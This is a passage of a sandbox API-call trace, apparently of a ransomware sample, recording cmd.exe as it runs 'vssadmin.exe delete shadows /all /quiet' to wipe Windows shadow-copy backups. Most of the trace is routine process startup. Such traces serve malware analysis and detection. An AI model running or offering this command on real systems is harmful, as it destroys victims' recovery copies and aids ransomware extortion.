Type=0x20000, __alignment2=0x0)) returned 0x30 [0050.674] VirtualQuery (in: lpAddress=0xe72c500000, lpBuffer=0xe72c4ff710, dwLength=0x30 | out: lpBuffer=0xe72c4ff710*(BaseAddress=0xe72c500000, AllocationBase=0xe72c500000, AllocationProtect=0x4, __alignment1=0xffffb78a, RegionSize=0x1000, State=0x2000, Protect=0x0, Type=0x20000, __alignment2=0x0)) returned 0x30 [0050.674] GetConsoleOutputCP () returned 0x1b5 [0050.812] GetCPInfo (in: CodePage=0x1b5, lpCPInfo=0x7ff7b827fbb0 | out: lpCPInfo=0x7ff7b827fbb0) returned 1 [0050.812] SetConsoleCtrlHandler (HandlerRoutine=0x7ff7b8268150, Add=1) returned 1 [0050.812] _get_osfhandle (_FileHandle=1) returned 0xc [0050.812] GetConsoleMode (in: hConsoleHandle=0xc, lpMode=0x7ff7b827fc04 | out: lpMode=0x7ff7b827fc04) returned 1 [0050.892] _get_osfhandle (_FileHandle=0) returned 0x8 [0050.892] GetConsoleMode (in: hConsoleHandle=0x8, lpMode=0x7ff7b827fc00 | out: lpMode=0x7ff7b827fc00) returned 1 [0051.045] _get_osfhandle (_FileHandle=1) returned 0xc [0051.045] SetConsoleMode (hConsoleHandle=0xc, dwMode=0x0) returned 1 [0051.134] _get_osfhandle (_FileHandle=1) returned 0xc [0051.134] GetConsoleMode (in: hConsoleHandle=0xc, lpMode=0x7ff7b827fc08 | out: lpMode=0x7ff7b827fc08) returned 1 [0051.174] _get_osfhandle (_FileHandle=0) returned 0x8 [0051.174] GetConsoleMode (in: hConsoleHandle=0x8, lpMode=0x7ff7b827fc0c | out: lpMode=0x7ff7b827fc0c) returned 1 [0051.252] _get_osfhandle (_FileHandle=0) returned 0x8 [0051.252] SetConsoleMode (hConsoleHandle=0x8, dwMode=0x1e7) returned 1 [0051.444] GetEnvironmentStringsW () returned 0x287e28f5b40* [0051.444] GetProcessHeap () returned 0x287e28f0000 [0051.444] RtlAllocateHeap (HeapHandle=0x287e28f0000, Flags=0x8, Size=0xb2e) returned 0x287e28f6680 [0051.444] FreeEnvironmentStringsA (penv="A") returned 1 [0051.444] GetProcessHeap () returned 0x287e28f0000 [0051.444] RtlAllocateHeap (HeapHandle=0x287e28f0000, Flags=0x8, Size=0x8) returned 0x287e28f2940 [0051.444] GetEnvironmentStringsW () returned 0x287e28f5b40* [0051.444] GetProcessHeap () returned 0x287e28f0000 [0051.444] RtlAllocateHeap (HeapHandle=0x287e28f0000, Flags=0x8, Size=0xb2e) returned 0x287e28f71c0 [0051.445] FreeEnvironmentStringsA (penv="A") returned 1 [0051.445] RegOpenKeyExW (in: hKey=0xffffffff80000002, lpSubKey="Software\\Microsoft\\Command Processor", ulOptions=0x0, samDesired=0x2000000, phkResult=0xe72c4fe658 | out: phkResult=0xe72c4fe658*=0x88) returned 0x0 [0051.445] RegQueryValueExW (in: hKey=0x88, lpValueName="DisableUNCCheck", lpReserved=0x0, lpType=0xe72c4fe650, lpData=0xe72c4fe670, lpcbData=0xe72c4fe654*=0x1000 | out: lpType=0xe72c4fe650*=0x0, lpData=0xe72c4fe670*=0x4, lpcbData=0xe72c4fe654*=0x1000) returned 0x2 [0051.445] RegQueryValueExW (in: hKey=0x88, lpValueName="EnableExtensions", lpReserved=0x0, lpType=0xe72c4fe650, lpData=0xe72c4fe670, lpcbData=0xe72c4fe654*=0x1000 | out: lpType=0xe72c4fe650*=0x4, lpData=0xe72c4fe670*=0x1, lpcbData=0xe72c4fe654*=0x4) returned 0x0 [0051.445] RegQueryValueExW (in: hKey=0x88, lpValueName="DelayedExpansion", lpReserved=0x0, lpType=0xe72c4fe650, lpData=0xe72c4fe670, lpcbData=0xe72c4fe654*=0x1000 | out: lpType=0xe72c4fe650*=0x0, lpData=0xe72c4fe670*=0x1, lpcbData=0xe72c4fe654*=0x1000) returned 0x2 [0051.445] RegQueryValueExW (in: hKey=0x88, lpValueName="DefaultColor", lpReserved=0x0, lpType=0xe72c4fe650, lpData=0xe72c4fe670, lpcbData=0xe72c4fe654*=0x1000 | out: lpType=0xe72c4fe650*=0x4, lpData=0xe72c4fe670*=0x0, lpcbData=0xe72c4fe654*=0x4) returned 0x0 [0051.445] RegQueryValueExW (in: hKey=0x88, lpValueName="CompletionChar", lpReserved=0x0, lpType=0xe72c4fe650, lpData=0xe72c4fe670, lpcbData=0xe72c4fe654*=0x1000 | out: lpType=0xe72c4fe650*=0x4, lpData=0xe72c4fe670*=0x40, lpcbData=0xe72c4fe654*=0x4) returned 0x0 [0051.445] RegQueryValueExW (in: hKey=0x88, lpValueName="PathCompletionChar", lpReserved=0x0, lpType=0xe72c4fe650, lpData=0xe72c4fe670, lpcbData=0xe72c4fe654*=0x1000 | out: lpType=0xe72c4fe650*=0x4, lpData=0xe72c4fe670*=0x40, lpcbData=0xe72c4fe654*=0x4) returned 0x0 [0051.445] RegQueryValueExW (in: hKey=0x88, lpValueName="AutoRun", lpReserved=0x0, lpType=0xe72c4fe650, lpData=0xe72c4fe670, lpcbData=0xe72c4fe654*=0x1000 | out: lpType=0xe72c4fe650*=0x0, lpData=0xe72c4fe670*=0x40, lpcbData=0xe72c4fe654*=0x1000) returned 0x2 [0051.445] RegCloseKey (hKey=0x88) returned 0x0 [0051.445] RegOpenKeyExW (in: hKey=0xffffffff80000001, lpSubKey="Software\\Microsoft\\Command Processor", ulOptions=0x0, samDesired=0x2000000, phkResult=0xe72c4fe658 | out: phkResult=0xe72c4fe658*=0x88) returned 0x0 [0051.445] RegQueryValueExW (in: hKey=0x88, lpValueName="DisableUNCCheck", lpReserved=0x0, lpType=0xe72c4fe650, lpData=0xe72c4fe670, lpcbData=0xe72c4fe654*=0x1000 | out: lpType=0xe72c4fe650*=0x0, lpData=0xe72c4fe670*=0x40, lpcbData=0xe72c4fe654*=0x1000) returned 0x2 [0051.445] RegQueryValueExW (in: hKey=0x88, lpValueName="EnableExtensions", lpReserved=0x0, lpType=0xe72c4fe650, lpData=0xe72c4fe670, lpcbData=0xe72c4fe654*=0x1000 | out: lpType=0xe72c4fe650*=0x4, lpData=0xe72c4fe670*=0x1, lpcbData=0xe72c4fe654*=0x4) returned 0x0 [0051.445] RegQueryValueExW (in: hKey=0x88, lpValueName="DelayedExpansion", lpReserved=0x0, lpType=0xe72c4fe650, lpData=0xe72c4fe670, lpcbData=0xe72c4fe654*=0x1000 | out: lpType=0xe72c4fe650*=0x0, lpData=0xe72c4fe670*=0x1, lpcbData=0xe72c4fe654*=0x1000) returned 0x2 [0051.445] RegQueryValueExW (in: hKey=0x88, lpValueName="DefaultColor", lpReserved=0x0, lpType=0xe72c4fe650, lpData=0xe72c4fe670, lpcbData=0xe72c4fe654*=0x1000 | out: lpType=0xe72c4fe650*=0x4, lpData=0xe72c4fe670*=0x0, lpcbData=0xe72c4fe654*=0x4) returned 0x0 [0051.445] RegQueryValueExW (in: hKey=0x88, lpValueName="CompletionChar", lpReserved=0x0, lpType=0xe72c4fe650, lpData=0xe72c4fe670, lpcbData=0xe72c4fe654*=0x1000 | out: lpType=0xe72c4fe650*=0x4, lpData=0xe72c4fe670*=0x9, lpcbData=0xe72c4fe654*=0x4) returned 0x0 [0051.445] RegQueryValueExW (in: hKey=0x88, lpValueName="PathCompletionChar", lpReserved=0x0, lpType=0xe72c4fe650, lpData=0xe72c4fe670, lpcbData=0xe72c4fe654*=0x1000 | out: lpType=0xe72c4fe650*=0x4, lpData=0xe72c4fe670*=0x9, lpcbData=0xe72c4fe654*=0x4) returned 0x0 [0051.445] RegQueryValueExW (in: hKey=0x88, lpValueName="AutoRun", lpReserved=0x0, lpType=0xe72c4fe650, lpData=0xe72c4fe670, lpcbData=0xe72c4fe654*=0x1000 | out: lpType=0xe72c4fe650*=0x0, lpData=0xe72c4fe670*=0x9, lpcbData=0xe72c4fe654*=0x1000) returned 0x2 [0051.445] RegCloseKey (hKey=0x88) returned 0x0 [0051.445] time (in: timer=0x0 | out: timer=0x0) returned 0x5ce7051d [0051.445] srand (_Seed=0x5ce7051d) [0051.445] GetCommandLineW () returned="/C vssadmin.exe delete shadows /all /quiet" [0051.445] malloc (_Size=0x4000) returned 0x287e28c55a0 [0051.446] GetCommandLineW () returned="/C vssadmin.exe delete shadows /all /quiet" [0051.446] malloc (_Size=0xffce) returned 0x287e29f0080 [0051.446] ??_V@YAXPEAX@Z () returned 0x287e29f0080 [0051.447] GetCurrentDirectoryW (in: nBufferLength=0x7fe7, lpBuffer=0x287e29f0080 | out: lpBuffer="C:\\Users\\FD1HVy\\Desktop") returned 0x17 [0051.447] malloc (_Size=0xffce) returned 0x287e2a00060 [0051.447] ??_V@YAXPEAX@Z () returned 0x287e2a00060 [0051.447] GetModuleFileNameW (in: hModule=0x0, lpFilename=0x287e2a00060, nSize=0x7fe7 | out: lpFilename="C:\\Windows\\System32\\cmd.exe" (normalized: "c:\\windows\\system32\\cmd.exe")) returned 0x1b [0051.447] GetEnvironmentVariableW (in: lpName="PATH", lpBuffer=0x7ff7b827bb90, nSize=0x2000 | out: lpBuffer="C:\\ProgramData\\Oracle\\Java\\javapath;C:\\WINDOWS\\system32;C:\\WINDOWS;C:\\WINDOWS\\System32\\Wbem;C:\\WINDOWS\\System32\\WindowsPowerShell\\v1.0\\;C:\\Users\\FD1HVy\\AppData\\Local\\Microsoft\\WindowsApps") returned 0xbb [0051.447] GetEnvironmentVariableW (in: lpName="PATHEXT", lpBuffer=0x7ff7b827bb90, nSize=0x2000 | out: lpBuffer=".COM;.EXE;.BAT;.CMD;.VBS;.VBE;.JS;.JSE;.WSF;.WSH;.MSC") returned 0x35 [0051.447] GetEnvironmentVariableW (in: lpName="PROMPT", lpBuffer=0x7ff7b827bb90, nSize=0x2000 | out: lpBuffer="") returned 0x0 [0051.447] _wcsicmp (_String1="PROMPT", _String2="CD") returned 13 [0051.448] _wcsicmp (_String1="PROMPT", _String2="ERRORLEVEL") returned 11 [0051.448] _wcsicmp (_String1="PROMPT", _String2="CMDEXTVERSION") returned 13 [0051.448] _wcsicmp (_String1="PROMPT", _String2="CMDCMDLINE") returned 13 [0051.448] _wcsicmp (_String1="PROMPT", _String2="DATE") returned 12 [0051.448] _wcsicmp (_String1="PROMPT", _String2="TIME") returned -4 [0051.448] _wcsicmp (_String1="PROMPT", _String2="RANDOM") returned -2 [0051.448] _wcsicmp (_String1="PROMPT", _String2="HIGHESTNUMANODENUMBER") returned 8 [0051.448] SetEnvironmentVariableW (lpName="PROMPT", lpValue="$P$G") returned 1 [0051.448] GetProcessHeap () returned 0x287e28f0000 [0051.448] RtlFreeHeap (HeapHandle=0x287e28f0000, Flags=0x0, BaseAddress=0x287e28f6680) returned 1 [0051.448] GetEnvironmentStringsW () returned 0x287e28f5b40* [0051.448] GetProcessHeap () returned 0x287e28f0000 [0051.448] RtlAllocateHeap (HeapHandle=0x287e28f0000, Flags=0x8, Size=0xb46) returned 0x287e28f7d00 [0051.448] FreeEnvironmentStringsA (penv="A") returned 1 [0051.448] GetEnvironmentVariableW (in: lpName="COMSPEC", lpBuffer=0x7ff7b827bb90, nSize=0x2000 | out: lpBuffer="C:\\WINDOWS\\system32\\cmd.exe") returned 0x1b [0051.448] GetEnvironmentVariableW (in: lpName="KEYS", lpBuffer=0x7ff7b827bb90, nSize=0x2000 | out: lpBuffer="") returned 0x0 [0051.448] _wcsicmp (_String1="KEYS", _String2="CD") returned 8 [0051.448] _wcsicmp (_String1="KEYS", _String2="ERRORLEVEL") returned 6 [0051.448] _wcsicmp (_String1="KEYS", _String2="CMDEXTVERSION") returned 8 [0051.448] _wcsicmp (_String1="KEYS", _String2="CMDCMDLINE") returned 8 [0051.448] _wcsicmp (_String1="KEYS", _String2="DATE") returned 7 [0051.448] _wcsicmp (_String1="KEYS", _String2="TIME") returned -9 [0051.448] _wcsicmp (_String1="KEYS", _String2="RANDOM") returned -7 [0051.448] _wcsicmp (_String1="KEYS", _String2="HIGHESTNUMANODENUMBER") returned 3 [0051.448] malloc (_Size=0xffce) returned 0x287e2a10040 [0051.449] ??_V@YAXPEAX@Z () returned 0x287e2a10040 [0051.449] GetProcessHeap () returned 0x287e28f0000 [0051.449] RtlAllocateHeap (HeapHandle=0x287e28f0000, Flags=0x8, Size=0x40) returned 0x287e28f8850 [0051.449] GetCurrentDirectoryW (in: nBufferLength=0x7fe7, lpBuffer=0x287e2a10040 | out: lpBuffer="C:\\Users\\FD1HVy\\Desktop") returned 0x17 [0051.449] GetFullPathNameW (in: lpFileName="C:\\Users\\FD1HVy\\Desktop", nBufferLength=0x7fe7, lpBuffer=0x287e2a10040, lpFilePart=0xe72c4ff1d0 | out: lpBuffer="C:\\Users\\FD1HVy\\Desktop", lpFilePart=0xe72c4ff1d0*="Desktop") returned 0x17 [0051.449] GetFileAttributesW (lpFileName="C:\\Users\\FD1HVy\\Desktop" (normalized: "c:\\users\\fd1hvy\\desktop")) returned 0x11 [0051.450] FindFirstFileW (in: lpFileName="C:\\Users", lpFindFileData=0xe72c4fef00 | out: lpFindFileData=0xe72c4fef00*(dwFileAttributes=0x11, ftCreationTime.dwLowDateTime=0x6c4849dd, ftCreationTime.dwHighDateTime=0x1d29fdc, ftLastAccessTime.dwLowDateTime=0x475bb883, ftLastAccessTime.dwHighDateTime=0x1d32742, ftLastWriteTime.dwLowDateTime=0x475bb883, ftLastWriteTime.dwHighDateTime=0x1d32742, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="Users", cAlternateFileName="")) returned 0x287e28f88a0 [0051.450] FindClose (in: hFindFile=0x287e28f88a0 | out: hFindFile=0x287e28f88a0) returned 1 [0051.450] FindFirstFileW (in: lpFileName="C:\\Users\\FD1HVy", lpFindFileData=0xe72c4fef00 | out: lpFindFileData=0xe72c4fef00*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x20fc850f, ftCreationTime.dwHighDateTime=0x1d32742, ftLastAccessTime.dwLowDateTime=0x9de5855d, ftLastAccessTime.dwHighDateTime=0x1d32744, ftLastWriteTime.dwLowDateTime=0x9de5855d, ftLastWriteTime.dwHighDateTime=0x1d32744, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="FD1HVy", cAlternateFileName="")) returned 0x287e28f88a0 [0051.450] FindClose (in: hFindFile=0x287e28f88a0 | out: hFindFile=0x287e28f88a0) returned 1 [0051.450] FindFirstFileW (in: lpFileName="C:\\Users\\FD1HVy\\Desktop", lpFindFileData=0xe72c4fef00 | out: lpFindFileData=0xe72c4fef00*(dwFileAttributes=0x11, ftCreationTime.dwLowDateTime=0x3476bd48, ftCreationTime.dwHighDateTime=0x1d32722, ftLastAccessTime.dwLowDateTime=0x9a7d7a61, ftLastAccessTime.dwHighDateTime=0x1d511a7, ftLastWriteTime.dwLowDateTime=0x9a7d7a61, ftLastWriteTime.dwHighDateTime=0x1d511a7, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="Desktop", cAlternateFileName="")) returned 0x287e28f88a0 [0051.450] FindClose (in: hFindFile=0x287e28f88a0 | out: hFindFile=0x287e28f88a0) returned 1 [0051.450] GetFileAttributesW (lpFileName="C:\\Users\\FD1HVy\\Desktop" (normalized: "c:\\users\\fd1hvy\\desktop")) returned 0x11 [0051.450] SetCurrentDirectoryW (lpPathName="C:\\Users\\FD1HVy\\Desktop" (normalized: "c:\\users\\fd1hvy\\desktop")) returned 1 [0051.450] SetEnvironmentVariableW (lpName="=C:", lpValue="C:\\Users\\FD1HVy\\Desktop") returned 1 [0051.450] GetProcessHeap () returned 0x287e28f0000 [0051.450] RtlFreeHeap (HeapHandle=0x287e28f0000, Flags=0x0, BaseAddress=0x287e28f7d00) returned 1 [0051.450] GetEnvironmentStringsW () returned 0x287e28f0fc0* [0051.450] GetProcessHeap () returned 0x287e28f0000 [0051.450] RtlAllocateHeap (HeapHandle=0x287e28f0000, Flags=0x8, Size=0xb7e) returned 0x287e28f88a0 [0051.451] FreeEnvironmentStringsA (penv="=") returned 1 [0051.451] GetCurrentDirectoryW (in: nBufferLength=0x7fe7, lpBuffer=0x287e29f0080 | out: lpBuffer="C:\\Users\\FD1HVy\\Desktop") returned 0x17 [0051.451] GetProcessHeap () returned 0x287e28f0000 [0051.451] RtlFreeHeap (HeapHandle=0x287e28f0000, Flags=0x0, BaseAddress=0x287e28f8850) returned 1 [0051.451] ??_V@YAXPEAX@Z () returned 0x1 [0051.451] ??_V@YAXPEAX@Z () returned 0x1 [0051.451] GetProcessHeap () returned 0x287e28f0000 [0051.451] RtlAllocateHeap (HeapHandle=0x287e28f0000, Flags=0x8, Size=0x4016) returned 0x287e28f9430 [0051.451] GetProcessHeap () returned 0x287e28f0000 [0051.451] RtlAllocateHeap (HeapHandle=0x287e28f0000, Flags=0x8, Size=0x64) returned 0x287e28f66d0 [0051.451] GetProcessHeap () returned 0x287e28f0000 [0051.451] RtlFreeHeap (HeapHandle=0x287e28f0000, Flags=0x0, BaseAddress=0x287e28f9430) returned 1 [0051.451] GetConsoleOutputCP () returned 0x1b5 [0051.628] GetCPInfo (in: CodePage=0x1b5, lpCPInfo=0x7ff7b827fbb0 | out: lpCPInfo=0x7ff7b827fbb0) returned 1 [0051.628] GetUserDefaultLCID () returned 0x409 [0051.628] GetLocaleInfoW (in: Locale=0x409, LCType=0x1e, lpLCData=0x7ff7b827bb78, cchData=8 | out: lpLCData=":") returned 2 [0051.628] GetLocaleInfoW (in: Locale=0x409, LCType=0x23, lpLCData=0xe72c4ff590, cchData=128 | out: lpLCData="0") returned 2 [0051.628] GetLocaleInfoW (in: Locale=0x409, LCType=0x21, lpLCData=0xe72c4ff590, cchData=128 | out: lpLCData="0") returned 2 [0051.628] GetLocaleInfoW (in: Locale=0x409, LCType=0x24, lpLCData=0xe72c4ff590, cchData=128 | out: lpLCData="1") returned 2 [0051.628] GetLocaleInfoW (in: Locale=0x409, LCType=0x1d, lpLCData=0x7ff7b827bb68, cchData=8 | out: lpLCData="/") returned 2 [0051.628] GetLocaleInfoW (in: Locale=0x409, LCType=0x31, lpLCData=0x7ff7b827bb00, cchData=32 | out: lpLCData="Mon") returned 4 [0051.628] GetLocaleInfoW (in: Locale=0x409, LCType=0x32, lpLCData=0x7ff7b827bac0, cchData=32 | out: lpLCData="Tue") returned 4 [0051.628] GetLocaleInfoW (in: Locale=0x409, LCType=0x33, lpLCData=0x7ff7b827ba80, cchData=32 | out: lpLCData="Wed") returned 4 [0051.628] GetLocaleInfoW (in: Locale=0x409, LCType=0x34, lpLCData=0x7ff7b827ba40, cchData=32 | out: lpLCData="Thu") returned 4 [0051.628] GetLocaleInfoW (in: Locale=0x409, LCType=0x35, lpLCData=0x7ff7b827ba00, cchData=32 | out: lpLCData="Fri") returned 4 [0051.628] GetLocaleInfoW (in: Locale=0x409, LCType=0x36, lpLCData=0x7ff7b827b9c0, cchData=32 | out: lpLCData="Sat") returned 4 [0051.628] GetLocaleInfoW (in: Locale=0x409, LCType=0x37, lpLCData=0x7ff7b827b980, cchData=32 | out: lpLCData="Sun") returned 4 [0051.629] GetLocaleInfoW (in: Locale=0x409, LCType=0xe, lpLCData=0x7ff7b827bb58, cchData=8 | out: lpLCData=".") returned 2 [0051.629] GetLocaleInfoW (in: Locale=0x409, LCType=0xf, lpLCData=0x7ff7b827bb40, cchData=8 | out: lpLCData=",") returned 2 [0051.629] setlocale (category=0, locale=".OCP") returned="English_United States.437" [0051.630] GetProcessHeap () returned 0x287e28f0000 [0051.630] RtlAllocateHeap (HeapHandle=0x287e28f0000, Flags=0x0, Size=0x20c) returned 0x287e28f67b0 [0051.630] GetConsoleTitleW (in: lpConsoleTitle=0x287e28f67b0, nSize=0x104 | out: lpConsoleTitle="C:\\Users\\FD1HVy\\Desktop\\ckoufc.exe") returned 0x23 [0051.695] GetModuleHandleW (lpModuleName="KERNEL32.DLL") returned 0x7ff92fdd0000 [0051.695] GetProcAddress (hModule=0x7ff92fdd0000, lpProcName="CopyFileExW") returned 0x7ff92fdee830 [0051.695] GetProcAddress (hModule=0x7ff92fdd0000, lpProcName="IsDebuggerPresent") returned 0x7ff92fdee300 [0051.695] GetProcAddress (hModule=0x7ff92fdd0000, lpProcName="SetConsoleInputExeNameW") returned 0x7ff92f1b0a40 [0051.695] ??_V@YAXPEAX@Z () returned 0x1 [0051.696] GetProcessHeap () returned 0x287e28f0000 [0051.696] RtlAllocateHeap (HeapHandle=0x287e28f0000, Flags=0x8, Size=0x4012) returned 0x287e28f9430 [0051.696] GetProcessHeap () returned 0x287e28f0000 [0051.696] RtlFreeHeap (HeapHandle=0x287e28f0000, Flags=0x0, BaseAddress=0x287e28f9430) returned 1 [0051.697] _wcsicmp (_String1="vssadmin.exe", _String2=")") returned 77 [0051.697] _wcsicmp (_String1="FOR", _String2="vssadmin.exe") returned -16 [0051.697] _wcsicmp (_String1="FOR/?", _String2="vssadmin.exe") returned -16 [0051.697] _wcsicmp (_String1="IF", _String2="vssadmin.exe") returned -13 [0051.697] _wcsicmp (_String1="IF/?", _String2="vssadmin.exe") returned -13 [0051.697] _wcsicmp (_String1="REM", _String2="vssadmin.exe") returned -4 [0051.697] _wcsicmp (_String1="REM/?", _String2="vssadmin.exe") returned -4 [0051.697] GetProcessHeap () returned 0x287e28f0000 [0051.697] RtlAllocateHeap (HeapHandle=0x287e28f0000, Flags=0x8, Size=0xb0) returned 0x287e28f69d0 [0051.697] GetProcessHeap () returned 0x287e28f0000 [0051.697] RtlAllocateHeap (HeapHandle=0x287e28f0000, Flags=0x8, Size=0x2a) returned 0x287e28f6a90 [0051.697] GetProcessHeap () returned 0x287e28f0000 [0051.697] RtlAllocateHeap (HeapHandle=0x287e28f0000, Flags=0x8, Size=0x48) returned 0x287e28f6ad0 [0051.698] GetConsoleTitleW (in: lpConsoleTitle=0xe72c4ff480, nSize=0x104 | out: lpConsoleTitle="C:\\Users\\FD1HVy\\Desktop\\ckoufc.exe") returned 0x23 [0051.766] malloc (_Size=0xffce) returned 0x287e2a00060 [0051.766] ??_V@YAXPEAX@Z () returned 0x287e2a00060 [0051.767] malloc (_Size=0xffce) returned 0x287e2a10040 [0051.767] ??_V@YAXPEAX@Z () returned 0x287e2a10040 [0051.768] GetFileAttributesW (lpFileName="vssadmin.exe" (normalized: "c:\\users\\fd1hvy\\desktop\\vssadmin.exe")) returned 0xffffffff [0051.768] _wcsicmp (_String1="vssadmin", _String2="DIR") returned 18 [0051.768] _wcsicmp (_String1="vssadmin", _String2="ERASE") returned 17 [0051.768] _wcsicmp (_String1="vssadmin", _String2="DEL") returned 18 [0051.768] _wcsicmp (_String1="vssadmin", _String2="TYPE") returned 2 [0051.768] _wcsicmp (_String1="vssadmin", _String2="COPY") returned 19 [0051.768] _wcsicmp (_String1="vssadmin", _String2="CD") returned 19 [0051.768] _wcsicmp (_String1="vssadmin", _String2="CHDIR") returned 19 [0051.768] _wcsicmp (_String1="vssadmin", _String2="RENAME") returned 4 [0051.768] _wcsicmp (_String1="vssadmin", _String2="REN") returned 4 [0051.768] _wcsicmp (_String1="vssadmin", _String2="ECHO") returned 17 [0051.768] _wcsicmp (_String1="vssadmin", _String2="SET") returned 3 [0051.768] _wcsicmp (_String1="vssadmin", _String2="PAUSE") returned 6 [0051.768] _wcsicmp (_String1="vssadmin", _String2="DATE") returned 18 [0051.768] _wcsicmp (_String1="vssadmin", _String2="TIME") returned 2 [0051.768] _wcsicmp (_String1="vssadmin", _String2="PROMPT") returned 6 [0051.768] _wcsicmp (_String1="vssadmin", _String2="MD") returned 9 [0051.768] _wcsicmp (_String1="vssadmin", _String2="MKDIR") returned 9 [0051.768] _wcsicmp (_String1="vssadmin", _String2="RD") returned 4 [0051.768] _wcsicmp (_String1="vssadmin", _String2="RMDIR") returned 4 [0051.768] _wcsicmp (_String1="vssadmin", _String2="PATH") returned 6 [0051.768] _wcsicmp (_String1="vssadmin", _String2="GOTO") returned 15 [0051.768] _wcsicmp (_String1="vssadmin", _String2="SHIFT") returned 3 [0051.768] _wcsicmp (_String1="vssadmin", _String2="CLS") returned 19 [0051.768] _wcsicmp (_String1="vssadmin", _String2="CALL") returned 19 [0051.768] _wcsicmp (_String1="vssadmin", _String2="VERIFY") returned 14 [0051.768] _wcsicmp (_String1="vssadmin", _String2="VER") returned 14 [0051.768] _wcsicmp (_String1="vssadmin", _String2="VOL") returned 4 [0051.768] _wcsicmp (_String1="vssadmin", _String2="EXIT") returned 17 [0051.768] _wcsicmp (_String1="vssadmin", _String2="SETLOCAL") returned 3 [0051.768] _wcsicmp (_String1="vssadmin", _String2="ENDLOCAL") returned 17 [0051.768] _wcsicmp (_String1="vssadmin", _String2="TITLE") returned 2 [0051.768] _wcsicmp (_String1="vssadmin", _String2="START") returned 3 [0051.768] _wcsicmp (_String1="vssadmin", _String2="DPATH") returned 18 [0051.768] _wcsicmp (_String1="vssadmin", _String2="KEYS") returned 11 [0051.768] _wcsicmp (_String1="vssadmin", _String2="MOVE") returned 9 [0051.768] _wcsicmp (_String1="vssadmin", _String2="PUSHD") returned 6 [0051.768] _wcsicmp (_String1="vssadmin", _String2="POPD") returned 6 [0051.768] _wcsicmp (_String1="vssadmin", _String2="ASSOC") returned 21 [0051.768] _wcsicmp (_String1="vssadmin", _String2="FTYPE") returned 16 [0051.768] _wcsicmp (_String1="vssadmin", _String2="BREAK") returned 20 [0051.769] _wcsicmp (_String1="vssadmin", _String2="COLOR") returned 19 [0051.769] _wcsicmp (_String1="vssadmin", _String2="MKLINK") returned 9 [0051.769] _wcsicmp (_String1="vssadmin", _String2="DIR") returned 18 [0051.769] _wcsicmp (_String1="vssadmin", _String2="ERASE") returned 17 [0051.769] _wcsicmp (_String1="vssadmin", _String2="DEL") returned 18 [0051.769] _wcsicmp (_String1="vssadmin", _String2="TYPE") returned 2 [0051.769] _wcsicmp (_String1="vssadmin", _String2="COPY") returned 19 [0051.769] _wcsicmp (_String1="vssadmin", _String2="CD") returned 19 [0051.769] _wcsicmp (_String1="vssadmin", _String2="CHDIR") returned 19 [0051.769] _wcsicmp (_String1="vssadmin", _String2="RENAME") returned 4 [0051.769] _wcsicmp (_String1="vssadmin", _String2="REN") returned 4 [0051.769] _wcsicmp (_String1="vssadmin", _String2="ECHO") returned 17 [0051.769] _wcsicmp (_String1="vssadmin", _String2="SET") returned 3 [0051.769] _wcsicmp (_String1="vssadmin", _String2="PAUSE") returned 6 [0051.769] _wcsicmp (_String1="vssadmin", _String2="DATE") returned 18 [0051.769] _wcsicmp (_String1="vssadmin", _String2="TIME") returned 2 [0051.769] _wcsicmp (_String1="vssadmin", _String2="PROMPT") returned 6 [0051.769] _wcsicmp (_String1="vssadmin", _String2="MD") returned 9 [0051.769] _wcsicmp (_String1="vssadmin", _String2="MKDIR") returned 9 [0051.769] _wcsicmp (_String1="vssadmin", _String2="RD") returned 4 [0051.769] _wcsicmp (_String1="vssadmin", _String2="RMDIR") returned 4 [0051.769] _wcsicmp (_String1="vssadmin", _String2="PATH") returned 6 [0051.769] _wcsicmp (_String1="vssadmin", _String2="GOTO") returned 15 [0051.769] _wcsicmp (_String1="vssadmin", _String2="SHIFT") returned 3 [0051.769] _wcsicmp (_String1="vssadmin", _String2="CLS") returned 19 [0051.769] _wcsicmp (_String1="vssadmin", _String2="CALL") returned 19 [0051.769] _wcsicmp (_String1="vssadmin", _String2="VERIFY") returned 14 [0051.769] _wcsicmp (_String1="vssadmin", _String2="VER") returned 14 [0051.769] _wcsicmp (_String1="vssadmin", _String2="VOL") returned 4 [0051.769] _wcsicmp (_String1="vssadmin", _String2="EXIT") returned 17 [0051.769] _wcsicmp (_String1="vssadmin", _String2="SETLOCAL") returned 3 [0051.769] _wcsicmp (_String1="vssadmin", _String2="ENDLOCAL") returned 17 [0051.769] _wcsicmp (_String1="vssadmin", _String2="TITLE") returned 2 [0051.769] _wcsicmp (_String1="vssadmin", _String2="START") returned 3 [0051.769] _wcsicmp (_String1="vssadmin", _String2="DPATH") returned 18 [0051.769] _wcsicmp (_String1="vssadmin", _String2="KEYS") returned 11 [0051.769] _wcsicmp (_String1="vssadmin", _String2="MOVE") returned 9 [0051.769] _wcsicmp (_String1="vssadmin", _String2="PUSHD") returned 6 [0051.769] _wcsicmp (_String1="vssadmin", _String2="POPD") returned 6 [0051.769] _wcsicmp (_String1="vssadmin", _String2="ASSOC") returned 21 [0051.769] _wcsicmp (_String1="vssadmin", _String2="FTYPE") returned 16 [0051.769] _wcsicmp (_String1="vssadmin", _String2="BREAK") returned 20 [0051.769] _wcsicmp (_String1="vssadmin", _String2="COLOR") returned 19 [0051.769] _wcsicmp (_String1="vssadmin", _String2="MKLINK") returned 9 [0051.769] _wcsicmp (_String1="vssadmin", _String2="FOR") returned 16 [0051.769] _wcsicmp (_String1="vssadmin", _String2="IF") returned 13 [0051.769] _wcsicmp (_String1="vssadmin", _String2="REM") returned 4 [0051.770] ??_V@YAXPEAX@Z () returned 0x1 [0051.770] GetProcessHeap () returned 0x287e28f0000 [0051.770] RtlAllocateHeap (HeapHandle=0x287e28f0000, Flags=0x8, Size=0xffde) returned 0x287e28f9430 [0051.771] GetProcessHeap () returned 0x287e28f0000 [0051.771] RtlAllocateHeap (HeapHandle=0x287e28f0000, Flags=0x8, Size=0x62) returned 0x287e28f6b20 [0051.771] _wcsnicmp (_String1="vssa", _String2="cmd ", _MaxCount=0x4) returned 19 [0051.771] malloc (_Size=0xffce) returned 0x287e2a10040 [0051.771] ??_V@YAXPEAX@Z () returned 0x287e2a10040 [0051.771] GetProcessHeap () returned 0x287e28f0000 [0051.771] RtlAllocateHeap (HeapHandle=0x287e28f0000, Flags=0x8, Size=0x1ffac) returned 